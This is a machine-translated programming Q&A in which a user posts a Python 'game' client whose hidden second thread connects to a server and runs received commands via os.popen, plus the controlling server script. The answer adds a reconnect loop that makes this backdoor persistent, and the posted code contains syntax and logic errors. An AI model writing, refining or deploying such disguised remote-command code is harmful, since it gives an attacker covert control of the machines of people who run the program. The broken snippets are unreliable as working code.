#python #python-3.x #multithreading #sockets #port
#python #python-3.x #многопоточность #сокеты #порт
Вопрос:
Это мой client.py:
import random
import socket
import threading
import os
from time import sleep
def access():
HOST = '127.0.0.1'
PORT = 22262
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
def game():
number = random.randint(0, 1000)
tries = 1
done = False
while not done:
guess = int(input('Enter a guess: '))
if guess == number:
done = True
print('You won!')
else:
tries = 1
if guess > number:
print('The actual number is smaller.')
else:
print('The actual number is larger.')
print(f'You need {tries} tries!')
t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
Это server.py
import socket
HOST = ''
PORT = 22262
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
client, address = server.accept()
while True:
print(f'Connected to {address}')
cmd_input = input('Enter a command: ')
client.send(cmd_input.encode('utf-8'))
print(client.recv(1024).decode('utf-8'))
Это работает, но если я отключусь server.py Я получаю следующую ошибку при client.py:
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
Является ли их способ иметь client.py всегда слушайте и ждите server.py выйти в Интернет, чтобы они могли снова подключиться? В принципе, я хочу client.py никогда не переставать прислушиваться к server.py
Комментарии:
1. Клиенты обычно не прослушивают серверы. Сервер прослушивает непрерывно, и клиенты подключаются к нему, когда им что-то нужно.
2. В этом, по сути, разница между клиентами и серверами.
3. Клиент должен просто продолжать пытаться подключиться к серверу. Для автоматического выполнения этого ничего не встроено. Так что просто поместите
connect()
вызов в цикл.4. он хочет периодически проверять, подключен ли сервер к сети, поправьте меня, если я ошибаюсь
5. ошибка возникает из-за существующих соединений, которые закрываются.
Ответ №1:
Описанная вами проблема показывает, что сервер закрыл соединение, пока ваш клиент выполнял задачу, поэтому самое простое решение — обернуть его в try...except while_loop
заменить
def access():
HOST = '127.0.0.1'
PORT = 22262
while True:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
с
def access():
HOST = '127.0.0.1'
PORT = 22262
while True
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
while True:
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
except:
pass
теперь приведенный выше код завершает его с помощью try и except с циклом while, поэтому он продолжает пытаться подключиться к серверу, даже если сервер отключается между соединением
Комментарии:
1. Это устранило ошибку, но она не подключается к серверу.
2. пожалуйста, подождите
3. Та же проблема. Клиент не отображается на стороне сервера
4. о, извините, я ошибочно отредактировал то, что не хотел, я просто отредактирую снова
5. повторите попытку, пожалуйста